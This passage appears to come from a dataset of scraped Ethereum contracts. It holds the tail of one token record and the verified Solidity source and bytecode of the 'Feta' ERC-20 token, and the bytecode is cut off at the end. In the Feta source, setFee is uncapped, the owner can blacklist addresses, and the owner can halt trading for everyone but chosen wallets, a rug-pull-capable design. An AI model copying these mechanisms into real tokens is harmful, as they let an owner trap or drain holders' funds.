// < DOHA_Portfolio_I_metadata_line_35_____Gulf_International_20250515 >
// < 6eY3I7FrI7496yR67IiI1c4S4JnXj0CE5KXVwb2DQUy7vbB3m9lw9E05nt3oI4K6 >
// < u =="0.000000000000000001" : ] 000000629463147.327816000000000000 ; 000000645101166.345170000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003C07C0B3D858A5 >
// < DOHA_Portfolio_I_metadata_line_36_____Mesaieed_20250515 >
// < ryl7cMN94yiZD5RONLr9cwcI4ptcugDl9q3LLwAkqL5Cv2NonDWc20e3xyRGuwRb >
// < u =="0.000000000000000001" : ] 000000645101166.345170000000000000 ; 000000663023778.091517000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003D858A53F3B1AA >
// < DOHA_Portfolio_I_metadata_line_37_____Investment_Holding_20250515 >
// < 88IJsHJ6RyK04JocbkkS24CvpC8Nyi9h7ZMAmR76dDPEhQA7Gr8K25pei6p19YaD >
// < u =="0.000000000000000001" : ] 000000663023778.091517000000000000 ; 000000679618430.217144000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003F3B1AA40D03F3 >
// < DOHA_Portfolio_I_metadata_line_38_____Vodafone_Qatar_20250515 >
// < fISYneH515HPPH71N3i7g3XGP47758P8Tot55WA3MFEiwS1E71n84ZPfR3A3X954 >
// < u =="0.000000000000000001" : ] 000000679618430.217144000000000000 ; 000000696650731.029694000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000040D03F34270131 >
// < DOHA_Portfolio_I_metadata_line_39_____Al_Meera_20250515 >
// < MC478Yn9L57xXd7Rl7AWtji1z9PuaiFju9o6hpl513N5x9SoTAiG8ZEaU0whdHG5 >
// < u =="0.000000000000000001" : ] 000000696650731.029694000000000000 ; 000000713763718.708142000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000042701314411DF4 >
// < DOHA_Portfolio_I_metadata_line_40_____Mazaya_Qatar_20250515 >
// < qU6WF5UZ2tC2JO47760v32G7qX8sJjV3xB6TYZ00yn11VfJ317iK4MM1tRzOZR8f >
// < u =="0.000000000000000001" : ] 000000713763718.708142000000000000 ; 000000731661609.544533000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000004411DF445C6D51 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820060d40fdedbea6cb987544dc017b9dded2fe527d20341a42edeca611f0d610f00029
|
{"success": true, "error": null, "results": {}}
| 9,069 |
0x73c65c58ca9299ba9c47dfcfc4129e4a90027ea1
|
/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
//Feta Token the next best token, with more "culture" than stinky Chedda
//https://t.me/FetaERC20
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Feta is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Feta";
string private constant _symbol = "FETA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 14;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xe2B520dA258FaE3DA7BF6aE7958cE299428b81FA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000000 * 10**9; //0.5% of total supply per txn
uint256 public _maxWalletSize = 2000000000000 * 10**9; //2% of total supply
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610524578063c3c8cd8014610554578063dd62ed3e14610569578063ea1644d5146105af57600080fd5b806398a5c31514610494578063a2a957bb146104b4578063a9059cbb146104d4578063bdd795ef146104f457600080fd5b80638da5cb5b116100d15780638da5cb5b146104135780638f70ccf7146104315780638f9a55c01461045157806395d89b411461046757600080fd5b8063715018a6146103c857806374010ece146103dd5780637d1db4a5146103fd57600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103535780636d8aa8f8146103735780636fc3eaec1461039357806370a08231146103a857600080fd5b80632fd689e314610301578063313ce5671461031757806349bd5a5e1461033357600080fd5b80631694505e116101a05780631694505e1461026257806318160ddd1461029a57806323b872dd146102c15780632f9c4569146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118f5565b6105cf565b005b3480156101ff57600080fd5b506040805180820190915260048152634665746160e01b60208201525b6040516102299190611a27565b60405180910390f35b34801561023e57600080fd5b5061025261024d3660046118c9565b61066e565b6040519015158152602001610229565b34801561026e57600080fd5b50601454610282906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b3480156102a657600080fd5b5069152d02c7e14af68000005b604051908152602001610229565b3480156102cd57600080fd5b506102526102dc366004611853565b610685565b3480156102ed57600080fd5b506101f16102fc366004611894565b6106ee565b34801561030d57600080fd5b506102b360185481565b34801561032357600080fd5b5060405160098152602001610229565b34801561033f57600080fd5b50601554610282906001600160a01b031681565b34801561035f57600080fd5b506101f161036e3660046117e0565b6107b2565b34801561037f57600080fd5b506101f161038e3660046119c1565b6107fd565b34801561039f57600080fd5b506101f1610845565b3480156103b457600080fd5b506102b36103c33660046117e0565b610872565b3480156103d457600080fd5b506101f1610894565b3480156103e957600080fd5b506101f16103f83660046119dc565b610908565b34801561040957600080fd5b506102b360165481565b34801561041f57600080fd5b506000546001600160a01b0316610282565b34801561043d57600080fd5b506101f161044c3660046119c1565b610937565b34801561045d57600080fd5b506102b360175481565b34801561047357600080fd5b506040805180820190915260048152634645544160e01b602082015261021c565b3480156104a057600080fd5b506101f16104af3660046119dc565b61097f565b3480156104c057600080fd5b506101f16104cf3660046119f5565b6109ae565b3480156104e057600080fd5b506102526104ef3660046118c9565b6109ec565b34801561050057600080fd5b5061025261050f3660046117e0565b60116020526000908152604090205460ff1681565b34801561053057600080fd5b5061025261053f3660046117e0565b60106020526000908152604090205460ff1681565b34801561056057600080fd5b506101f16109f9565b34801561057557600080fd5b506102b361058436600461181a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bb57600080fd5b506101f16105ca3660046119dc565b610a2f565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f990611a7c565b60405180910390fd5b60005b815181101561066a5760016010600084848151811061062657610626611bc3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066281611b92565b915050610605565b5050565b600061067b338484610a5e565b5060015b92915050565b6000610692848484610b82565b6106e484336106df85604051806060016040528060288152602001611c05602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611085565b610a5e565b5060019392505050565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016105f990611a7c565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107875760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105f9565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107dc5760405162461bcd60e51b81526004016105f990611a7c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108275760405162461bcd60e51b81526004016105f990611a7c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461086557600080fd5b4761086f816110bf565b50565b6001600160a01b03811660009081526002602052604081205461067f906110f9565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016105f990611a7c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105f990611a7c565b601655565b6000546001600160a01b031633146109615760405162461bcd60e51b81526004016105f990611a7c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016105f990611a7c565b601855565b6000546001600160a01b031633146109d85760405162461bcd60e51b81526004016105f990611a7c565b600893909355600a91909155600955600b55565b600061067b338484610b82565b6013546001600160a01b0316336001600160a01b031614610a1957600080fd5b6000610a2430610872565b905061086f8161117d565b6000546001600160a01b03163314610a595760405162461bcd60e51b81526004016105f990611a7c565b601755565b6001600160a01b038316610ac05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f9565b6001600160a01b038216610b215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f9565b6001600160a01b038216610c485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f9565b60008111610caa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f9565b6000546001600160a01b03848116911614801590610cd657506000546001600160a01b03838116911614155b15610f7857601554600160a01b900460ff16610d7a576001600160a01b03831660009081526011602052604090205460ff16610d7a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f9565b601654811115610dcc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f9565b6001600160a01b03831660009081526010602052604090205460ff16158015610e0e57506001600160a01b03821660009081526010602052604090205460ff16155b610e665760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f9565b6015546001600160a01b03838116911614610eeb5760175481610e8884610872565b610e929190611b22565b10610eeb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f9565b6000610ef630610872565b601854601654919250821015908210610f0f5760165491505b808015610f265750601554600160a81b900460ff16155b8015610f4057506015546001600160a01b03868116911614155b8015610f555750601554600160b01b900460ff165b15610f7557610f638261117d565b478015610f7357610f73476110bf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fba57506001600160a01b03831660009081526005602052604090205460ff165b80610fec57506015546001600160a01b03858116911614801590610fec57506015546001600160a01b03848116911614155b15610ff957506000611073565b6015546001600160a01b03858116911614801561102457506014546001600160a01b03848116911614155b1561103657600854600c55600954600d555b6015546001600160a01b03848116911614801561106157506014546001600160a01b03858116911614155b1561107357600a54600c55600b54600d555b61107f84848484611306565b50505050565b600081848411156110a95760405162461bcd60e51b81526004016105f99190611a27565b5060006110b68486611b7b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561066a573d6000803e3d6000fd5b60006006548211156111605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f9565b600061116a611334565b90506111768382611357565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c5576111c5611bc3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121957600080fd5b505afa15801561122d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125191906117fd565b8160018151811061126457611264611bc3565b6001600160a01b03928316602091820292909201015260145461128a9130911684610a5e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c3908590600090869030904290600401611ab1565b600060405180830381600087803b1580156112dd57600080fd5b505af11580156112f1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061131357611313611399565b61131e8484846113c7565b8061107f5761107f600e54600c55600f54600d55565b60008060006113416114be565b90925090506113508282611357565b9250505090565b600061117683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611502565b600c541580156113a95750600d54155b156113b057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113d987611530565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061140b908761158d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461143a90866115cf565b6001600160a01b03891660009081526002602052604090205561145c8161162e565b6114668483611678565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ab91815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006114db8282611357565b8210156114f95750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115235760405162461bcd60e51b81526004016105f99190611a27565b5060006110b68486611b3a565b600080600080600080600080600061154d8a600c54600d5461169c565b925092509250600061155d611334565b905060008060006115708e8787876116f1565b919e509c509a509598509396509194505050505091939550919395565b600061117683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611085565b6000806115dc8385611b22565b9050838110156111765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f9565b6000611638611334565b905060006116468383611741565b3060009081526002602052604090205490915061166390826115cf565b30600090815260026020526040902055505050565b600654611685908361158d565b60065560075461169590826115cf565b6007555050565b60008080806116b660646116b0